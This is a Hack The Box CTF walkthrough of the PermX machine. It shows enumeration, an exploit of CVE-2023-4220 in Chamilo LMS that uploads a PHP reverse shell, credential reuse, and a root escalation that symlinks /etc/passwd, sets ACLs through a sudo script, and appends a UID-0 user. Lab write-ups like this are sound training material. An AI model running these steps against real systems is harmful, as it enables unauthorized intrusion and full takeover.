HackTheBox - PermX Walkthrough

HackTheBox - PermX Walkthrough

Introduction

PermX is an easy-rated machine on Hack The Box, created by mtzsec. The machine begins with discovering a learning management system, identifying its version, and exploiting a CVE to gain the initial foothold. Through initial enumeration, we leveraged password reuse to escalate to a new user and then exploited a Bash script to escalate to root. Let's get right into this.

Enumeration

As always, I fired off an initial Nmap scan against all ports to understand what ports were open. Once the scan was completed, there are only two open: ports 22 and 80.

[2024-07-11 18:33:16Z] [~/D/c/h/PermX] > sudo nmap -T4 -p- 10.10.11.23 -vvv -oN scans/permx_allports --max-retries=1
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-11 14:33 EDT
Initiating Ping Scan at 14:33
Scanning 10.10.11.23 [4 ports]
Completed Ping Scan at 14:33, 0.08s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 14:33
Completed Parallel DNS resolution of 1 host. at 14:33, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 14:33
Scanning 10.10.11.23 [65535 ports]
Discovered open port 80/tcp on 10.10.11.23
Discovered open port 22/tcp on 10.10.11.23
Warning: 10.10.11.23 giving up on port because retransmission cap hit (1).
Completed SYN Stealth Scan at 14:34, 50.17s elapsed (65535 total ports)
Nmap scan report for 10.10.11.23
Host is up, received echo-reply ttl 63 (0.085s latency).
Scanned at 2024-07-11 14:33:18 EDT for 50s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 50.37 seconds

Nmap output for all port scan

22 - SSH

I am going to skip enumerating SSH for now. There is not much we can do with it right now without some user credentials or SSH keys.

80 - HTTP

When navigating to http://10.10.11.23 initially, I found that it redirected to http://permx.htb. To access the site via the hostname, I had to add permx.htb to the hosts file.

[2024-07-19 18:04:03Z] [~/D/c/h/PermX] > echo '10.10.11.23 permx.htb ' | sudo tee -a /etc/hosts
10.10.11.23 permx.htb

Adding permx.htb to hosts file

Once added, the site could be accessed via the hostname after a refresh. After enumerating the webpage, nothing of interest was found. Either the links were not anchored anywhere, or they loaded another basic static HTML page.

Index page for http://permx.htb

As I had an initial apex domain which did not turn up much, I turned to virtual host discovery using ffuf, which revealed a new virtual host called lms. This new host was also added to the hosts file.

[2024-07-11 18:45:01Z] [~/D/c/h/PermX] > ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://permx.htb -H 'Host: FUZZ.permx.htb' --fw 18

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://permx.htb
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.permx.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 18
________________________________________________

www                     [Status: 200, Size: 36182, Words: 12829, Lines: 587, Duration: 54ms]
lms                     [Status: 200, Size: 19347, Words: 4910, Lines: 353, Duration: 68ms]
:: Progress: [4989/4989] :: Job [1/1] :: 118 req/sec :: Duration: [0:00:09] :: Errors: 0 ::

Virtual host discovery with ffuf

Poking Around Chamilo LMS

After adding lms.permx.htb to my hosts file, I accessed it and discovered a Chamilo learning management portal.

Trying basic username and password combinations did not work, and I could not get any SQL injection to work in an attempt to bypass the authentication.

Index page for http://lms.permx.htb

With limited options around the login, I decided to perform directory enumeration using ffuf. Several items were discovered, but a few stood out:

  • web.config: Initially, this file seemed promising, but it ultimately did not contain anything useful at our current stage in the enumeration phase.
  • robots.txt: Always worth reviewing, this file revealed a directory that helped us identify the version of Chamilo in use on the application server.

The rest of the items required authentication to access, which is not helpful for us at this point.

[2024-07-14 03:37:22Z] [~] > ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-files.txt -u http://lms.permx.htb/FUZZ --fs 278

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://lms.permx.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-files.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 278
________________________________________________

index.php               [Status: 200, Size: 19356, Words: 4910, Lines: 353, Duration: 83ms]
favicon.ico             [Status: 200, Size: 2462, Words: 3, Lines: 2, Duration: 79ms]
user.php                [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 102ms]
license.txt             [Status: 200, Size: 1614, Words: 206, Lines: 36, Duration: 83ms]
web.config              [Status: 200, Size: 5780, Words: 1119, Lines: 107, Duration: 53ms]
robots.txt              [Status: 200, Size: 748, Words: 75, Lines: 34, Duration: 89ms]
terms.php               [Status: 200, Size: 16127, Words: 4075, Lines: 320, Duration: 202ms]
.                       [Status: 200, Size: 19348, Words: 4910, Lines: 353, Duration: 72ms]
news_list.php           [Status: 200, Size: 13995, Words: 3256, Lines: 279, Duration: 71ms]
whoisonline.php         [Status: 200, Size: 15471, Words: 3877, Lines: 315, Duration: 90ms]
:: Progress: [17129/17129] :: Job [1/1] :: 623 req/sec :: Duration: [0:00:31] :: Errors: 0 ::

File bruteforcing http://lms.permx.htb with ffuf

I navigated to each of the directories listed in robots.txt and /documentation proved the most useful.

robots.txt for lms virtual host

Now we know the version of Chamilo that is running is 1.11 - this is good to know.

Chamilo documentation showing version

Exploiting Chamilo LMS v1.11

The Chamilo LMS version on the host was vulnerable to CVE-2023-4220, a flaw allowing unauthorized file uploads and access at http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/.

I cloned the exploit script from GitHub and copied the pentestmonkey PHP reverse shell to the same directory, renaming it to gray_shell.php. The file was modified to include my Kali IP and listening port.

/usr/share/webshells/php/php-reverse-shell.php
GitHub - Ziad-Sakr/Chamilo-CVE-2023-4220-Exploit: This is an Exploit for Unrestricted file upload in big file upload functionality in Chamilo-LMS for this location ”/main/inc/lib/javascript/bigupload/inc/bigUpload.php” in Chamilo LMS <= v1.11.24, and Attackers can obtain remote code execution via uploading of web shell.
This is an Exploit for Unrestricted file upload in big file upload functionality in Chamilo-LMS for this location &quot;/main/inc/lib/javascript/bigupload/inc/bigUpload.php&quot; in Chamilo LMS &lt…

I started a netcat listener on port 9001 and ran the CVE-2023-4220 exploit against http://lms.permx.htb and got the initial foothold on the box.

./CVE-2023-4220.sh -f gray_shell.php -h http://lms.permx.htb -p 80
Executing exploit script and getting reverse shell

Initial Foothold Enumeration

Using the shell obtained through the exploit script, I began enumerating the box for anything useful. After some time, I discovered a configuration file containing database credentials—always a nice find.

www-data@permx:/var/www/chamilo/app/config$ ls -l configuration.php
ls -l configuration.php
-rw-r--r-- 1 www-data www-data 127902 Jan 20 18:20 configuration.php

// Database connection settings.
$_configuration['db_host'] = 'localhost';
$_configuration['db_port'] = '3306';
$_configuration['main_database'] = 'chamilo';
$_configuration['db_user'] = 'chamilo';
--More--(0%)
$_configuration['db_password'] = '03XXXXXXXXXXXXW8';

Excerpt of configuration.php

These credentials did work with the local MariaDB database installation running on the box.

Successfully authenticating to MariaDB database

I extracted the password hashes for the admin and anon users but could not get these hashes to crack. That is okay as these were not needed to continue with the box. However, it is always a good habit to check things like this if you get the opportunity.

select id,username,password from user;
Extracting usernames and password hashes from database

As I had a working password, I checked for password reuse—and indeed, it was a thing. A user named mtz was on the box, and the database password also worked for this user. Initially, I used su to switch to the mtz user but later leveraged SSH to get a more stable shell.

www-data@permx:/$ grep /bin/bash /etc/passwd
grep /bin/bash /etc/passwd
root:x:0:0:root:/root:/bin/bash
mtz:x:1000:1000:mtz:/home/mtz:/bin/bash
www-data@permx:/$ 

Getting list of valid users via /etc/passwd

Using su to switch to the mtz user

Getting the user flag

mtz@permx:~$ cat user.txt
75XXXXXXXXXXXXXXXXXXXXXXXX99

Privilege Escalation via /opt/acl.sh

After switching to the mtz user, I restarted the enumeration phase. Remember, enumeration is a cyclical process that should be repeated after gaining a new user context.

The first step was to check if the mtz user had any sudo privileges, and sure enough, they did. The script /opt/acl.sh could be run with sudo privileges without requiring the user’s password.

mtz@permx:~$ sudo -l
Matching Defaults entries for mtz on permx:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User mtz may run the following commands on permx:
    (ALL : ALL) NOPASSWD: /opt/acl.sh
  

Output of sudo privileges for the mtz user

Essentially, this script checks that the target specified is located within the mtz home directory and the path does not contain "..", which is an attempt to protect against directory traversal attacks. It also verifies that the target is a file, not a directory. If all these checks pass, the script uses the setfacl command with the positional variables provided during runtime.

mtz@permx:~$ cat /opt/acl.sh
#!/bin/bash

if [ "$#" -ne 3 ]; then
    /usr/bin/echo "Usage: $0 user perm file"
    exit 1
fi

user="$1"
perm="$2"
target="$3"

if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
    /usr/bin/echo "Access denied."
    exit 1
fi

# Check if the path is a file
if [ ! -f "$target" ]; then
    /usr/bin/echo "Target must be a file."
    exit 1
fi

/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"

Contents of the acl.sh Bash script

Knowing we cannot attempt a directory traversal attack (so we can’t change the permissions on /etc/passwd for example), and we must stay within our home directory, we can instead use a symlink and then use it as the target for the acl.sh script.

I first created a new symlink for /etc/passwd

mtz@permx:~$ ln -s /etc/passwd /home/mtz/passwd

Then I used the acl.sh script with sudo privileges to grant the mtz user full permissions on the new symlink.

sudo /opt/acl.sh mtz rwx /home/mtz/passwd

In a real engagement and to be honest, even in a shared CTF environment, you do not want to go changing passwords for users or changing any of their permissions. Instead, I used a separate account and gave it root privileges. I first created a hash with a known password.

[2024-07-16 18:22:11Z] [~/D/c/h/PermX] > mkpasswd -m SHA-512 Gray123
$6$k8pQ8Yrqo9uMiURm$dGE0CerA/kgiFrrdbPtQBmOADss.1ElzKum4jVOTGe7caxYpUDpjf9QZM3A6I.PvNsDRdyV6RLmc1xLqpdPXY1

Creating a hash to later be used with /home/mtz/passwd

Next, I created a custom entry that would later append to /home/mtz/passwd. This entry would allow me to switch to the gray user using the password I set, granting root privileges. This approach helps preserve the CTF environment for others in the lab.

gray:$6$k8pQ8Yrqo9uMiURm$dGE0CerA/kgiFrrdbPtQBmOADss.1ElzKum4jVOTGe7caxYpUDpjf9QZM3A6I.PvNsDRdyV6RLmc1xLqpdPXY1:0:0:gray:/home/mtz:/bin/bash

Complete entry to append to /home/mtz/passwd

Below are all the steps for the privilege escalation in one fell swoop including getting a root shell and reading the root flag.

## Creating new symlink
mtz@permx:~$ ln -s /etc/passwd /home/mtz/passwd

## Using acl.sh script to give mtz full permissions over symlink
mtz@permx:~$ sudo /opt/acl.sh mtz rwx /home/mtz/passwd

## Appending new user with known password
mtz@permx:~$ echo 'gray:$6$k8pQ8Yrqo9uMiURm$dGE0CerA/kgiFrrdbPtQBmOADss.1ElzKum4jVOTGe7caxYpUDpjf9QZM3A6I.PvNsDRdyV6RLmc1xLqpdPXY1:0:0:gray:/home/mtz:/bin/bash' >> /home/mtz/passwd

## Switching to new user
mtz@permx:~$ su gray
Password: 

## Getting root flag
root@permx:~# cat /root/root.txt
18XXXXXXXXXXXXXXXXXXXXXXXXXXXX6d
root@permx:~# 

All steps to perform privilege escalation to root

That brings us to the end of this walkthrough. This was a fun box to work though as I try to get back into CTFs and post fresh content to hopefully have the opportunity to share some knowledge and how I work through challenges.

Until next time...

Kyle Gray

Kyle Gray

Hey there 👋 Certs - ITILv3, eJPT, PNPT, CRTP, CRTE, PJPT, CRTO